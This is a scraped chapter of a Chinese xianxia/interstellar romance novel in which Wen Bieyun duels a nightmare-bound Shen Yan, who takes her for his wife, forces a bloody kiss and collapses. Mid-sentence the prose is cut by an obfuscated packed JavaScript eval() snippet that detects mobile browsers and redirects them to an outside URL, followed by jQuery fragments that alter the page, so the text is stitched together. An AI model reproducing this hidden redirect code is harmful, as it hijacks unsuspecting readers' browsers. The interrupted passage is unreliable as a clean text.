夜色寂静,篝火融融。


    沈宴提着剑,面无表情,一步一步向她走来,刀裁般斜入飞鬓的眉,如点漆一样幽幽的寒星眸,映着火光,平白多了丝森然的鬼气。


    正好,温别云同样面无表情地看着他,解梦魇需要痛感,她趁这个难得的机会和他过两招,也能好好看看,沈宴在星际这些年到底长进了多少。


    “别和他硬碰硬。”洛成渝看见温别云已经挥起的软剑,心中不由焦急,眼下沈宴成了对手,他不得不提醒其他学院的人如何防备他。


    “沈宴的剑招狠辣,非常卓越,到目前为止我还没见过有人能凭剑胜他的。”他的目光不由自主向温别云另一只手瞥去,看见上面的黑雾,一时之间想起来刚刚被捆住时对黑雾的惊愕,声音高了许多:“温队长若是可以操控污染,倒可以一试……”


    他的话还没有说完,沈宴突然一挥手,地上生出来一层厚厚的坚冰,把自己和温别云给围住,将周围人硬生生挡在了外面。


    “怎么回事?队长。”


    这冰墙似乎连声音都阻挡了,银河学院的队员在外面呼喊,却始终没有得到回音。即使心急如焚地尽力去看,也只能看见些许的影影绰绰,一片模糊。


    围墙之内。


    “围起来打,是杀手锏不能露吗?”


    温别云点了点头,依然拿起了软剑:“你的队长说我可能不敌你,你什么看法?沈上校。”她似笑非笑,在火光下,眉眼间有一种笃定的傲气与自信。


    而沈宴表情有些莫名,沉默地看着她。


    “算了,说这个干什么,你现在又不清醒。”


    温别云如梦初醒,突然想起来沈宴还在被梦魇所困,自己眼下最重要的任务是救他清醒,不是你一剑我一剑的生死挑战。


    她揉了揉太阳穴,难得反省了一下自己,刚才好歹这人也助过她,做人还是两不相欠为好。


    于是思忖了对策,顺手挽了个剑花,带着肃杀的剑气作势向他袭来,手上黑雾缭绕,像条灵活的蛇一般缠了过去。


    “锵。”


    出乎意料的是,沈宴只是抬剑格挡,并没有回击,那双眼睛还是一动不动注视着她,温别云竟恍惚间看到一丝怨怼,她心中略微一惊。


    “你……”心想莫非这人清醒了,谁料下一刻,他启唇,淡淡道了句:“夫人。”


    ?


    这个称呼让温别云只觉得脑子中像过了一遍雷,头顶上仿佛套了个大钟,狠狠敲下去那种雷霆贯耳,“嗡嗡”直响,一瞬间竟惊到一种魂飞魄散的感觉。


    她惊疑不定看着面前的人:“你再说一遍?”


    简直比捅了她一剑还让人难以置信。


    “夫人。”沈宴这厮压根就不知道她现在内心有多么波澜起伏,他自然而然走过来,完全无视了她手上的软剑,只是在过来时瞥了一眼:“何时改用软剑了。”


    温别云现在真的特别庆幸其他人被挡在冰后面了,要不她真的不知道现在这么诡异的场面该作何解释。


    她凝神,手上黑雾大作,向沈宴缠去,谁料这人手上的冰寒之气乍然显现,一下子把黑雾退散。对于这种不配合的人,温别云短时间内也无法将他快速制住。


    “你想干什么?”


    拖的时间越长,她心中就越焦急,不知冰面后面的人有没有挣脱,眼见面前这人似乎也没有像完全丧失神智,心想倒可以交谈一二转移注意力,趁他放松警惕时,再一招制敌。


    此时沈宴脑中一片混沌,不知为何,他忘记了后来的所有,只记得面前拿剑的人是他的夫人,他们刚成婚不久。


    虽然眼前的场景很奇怪,但大概是误入了什么秘境所致,毕竟他刚才看到了许多凶恶的灵兽。


    但不知为何,现在他的夫人,他刚刚成婚不久的道侣,正神色警惕,拿着软剑和不知名的雾气对付他。


    “为何要拿剑指我,是又要和我比试吗?”他上前一步,那柄软剑微微抵在他的心口,但这人神色依然很平静,平静到近乎有了种冷淡的气质,“和我结为道侣,只是为了剑招吗?”


    许多话,本来深藏在心中,从未吐露出来,没想到今日却脱口而出,可能真的受了这秘境的古怪影响。


    想到这里,一向淡漠如水的人面容竟多了一丝嘲意,眸中暗色越来越重,平添了阴鸷凉薄。


    他的记忆还停留在修仙界?


    这个认知让温别云微微一惊,随即她眼前一暗,那人低头看她,嗓音冷沉:“不妨把话说个明白,剑招也好,武功也罢,若还为其他事物,依温小姐的恩情,沈某定会拱手送上。不必为此纡尊降贵,与我结为道侣。”


    温别云一怔。


    她想,前世这些话沈宴从未告知于自己,竟也不知道面上淡漠的人心中也有那么多波澜壮阔。听他的语气,原来这么早就对自己有了成见。


    后面的突然变脸,似乎也有迹可循……


    但往事毕竟是往事,她现在也明白当下首要做的事情是什么,既然这人这般说,那也省了她和他打上一架了。


    “沈……”她停顿了一下,对称呼上犹豫些许,最后疏离客气道:“沈剑仙不必妄自菲薄,你也是人中龙凤存在,倘若真的无道侣之缘,那我也可以在天圣石上解契,只是现下可能需要沈剑仙的血……”


    刺痛可以清醒,但沈宴不知道多痛才可以清醒,温别云犹豫了一下,很抱歉道:“……越多越好,在取完血后,我保证自此与沈剑仙再无瓜葛,绝不纠缠。”


    不知为何,在她落下话音那一刻,突然感觉到对面的呼吸声仿佛都停止了,一时之间竟然安静的让人有些不适。


    “在无瓜葛,绝不纠缠?”


    过了很长一段时间,她才听见那人开口,声音带着点似笑非笑的意味:“如此,甚好。”


    空气莫名冷下去很多。


    “取血一事……”


    温别云已经有些不耐,她手心悄悄冒出黑雾,凝结出尖刺,若是沈宴在不动手她不介意偷袭一下。


    “越多越好是吗?”


    谁料下一刻,她看到对面的人点了点头,唇角笑意浅淡,他说:“给你便是。”


    下一刻,他上前一步,本来就近的距离更是相隔无差,温别云手中的软剑因为这陡然拉进的距离,蓦地刺进了他的心口。


    血从心口处流淌下来,温别云大惊失色。


    虽然烦这人,但也没有想过要置他于死地,赶紧后退一步想拔出软剑,怒声:“你他爹的是不是疯……”


    还没有说完,她的剩下的话就被一个带着血腥气的吻给封住了。


    “你要多少,我都给你。”


    他贴着她的唇,轻声道。


    !


    唇上传来冰冷的触觉,可能是这人失血了的原因,周围泛起来白梅香,沁凉幽冷,像是要把人生生的冻住。温别云脑中一片空白,眼睛不自觉微微瞪大,心中的震惊已经要冲破心脏,


    “你!”


    她觉得今天真的是撞鬼了,后退一步,沈宴就上前一步,他像鬼魅一般与自己牢牢地纠缠在一起,那柄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788346|185255||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    锋锐的软剑始终刺在他的心口,温别云最后退无可退,背部抵上的寒凉的冰墙。


    “躲什么,你不是要血吗?”


    他让开一些距离,微微笑道,只不过这个笑带着森然:“你说的,自此之后,再无瓜葛,绝不纠缠。”


    温别云此刻非常非常难以形容自己的心情,眼下这个人又贴了上去,冰冷的气息扑面而来,与其像是在渡血,不如说是在报复,比刚才力度重了许多,森白的犬齿在不轻不重地撕咬研磨,一下又一下,仿佛带着无尽的怒意与疯狂,腥甜的血在二人的唇齿间流转,仿佛诡异怪诞的争斗与掠夺。


    只有那双眼睛,那双眼睛却一如既往的平静冷漠,只不过是一望无际的黑,像是把人吞噬其中。


    他心口的剑插的很深,近乎贯穿了心脏,滚烫的血流淌在温别云手上,近乎把手给灼伤,背上的冰却坚固寒冷,莫名中和了这一点,但却在冷热交替中让人莫名发抖。


    温别云脑中像炸开了烟花,一阵又一阵的轰鸣让她头晕目眩,几乎要站立不稳,她不知道事情怎么发生到现在这个样子的。


    为什么以前的沈宴会是这个样子?


    为什么会变成现在这个样子?


    她心中那团火越来越旺,越来越旺,直到最后……


    “滚!”


    她忍无可忍,不想再顾忌什么受伤与否了,抬脚直接把这个人狠狠地踹开,嘴唇上像是出了血,火辣辣的痛让温别云本来就不美好的心情更不美好了。


    她喘着粗气,神色冰冷地擦去嘴唇的血,表情阴晴不定。


    那边沈宴终于和她分开,他踉跄后退了两步,冷冷地看着她,最后轻轻扯出一个笑容:“血够了吗?温小姐。”


    温别云握紧剑,森冷道:“你是不是找死。”


    就在气氛剑拔弩张,即将要爆发之际,刚才还在大放厥词的沈宴突然身体一晃,那双寒凉的眼睛闭上,直直倒了下去。


    “扑通。”


    温别云面无表情看着他重重地摔在地上,冷眼旁观。


    摔的挺及时。


    她卸去了即将释放的黑雾。


    在他倒地那一刻,设出的坚冰墙也消失了,在众人惊愕的目光下,她闭了闭眼睛,把剑上的血擦干净,转头问沈琮:“你的伤治疗的怎么样?”


    “没多深,也不是要害。”


    沈琮看着她唇上没有擦净的血,焦急道:“你受伤了吗?怎么吐血了。”


    温别云按了按太阳穴:“没事。”声音中莫名有几分切齿:“洛成渝,去救一下你们的队员,他出血太多昏厥了。”


    “你刺穿了他的心脏?”


    在远处,洛成渝看不真切,声音大了许多:“他心口处怎么那么多血。”


    “没有。”


    温别云像是已经忍到极限,她一字一句说:“我有分寸。”在他撞上去那一刻,她的手在危急之下偏移了一寸。


    她现在身体里还有未平息的怒意,刚才沈宴莫名其妙的举动,着实让她怒火中烧,眼下这人昏的及时,这怒火也不能发泄出去了。


    “所有人,攻击天幕。”


    温别云抬眼,看着始终静谧的天色,仿佛毫无威胁的环境,冷冷道:“这么多人中招,但环境却始终没什么变化,甚至连一个丧尸也没有,定然存疑。”


    “我们携手,把它给破了。”


    她不该被任何事扰乱了心神,现在最重要的是找到罪魁祸首。


    至于怒火与憋屈,她一样一样记着,最后终究会算个总账。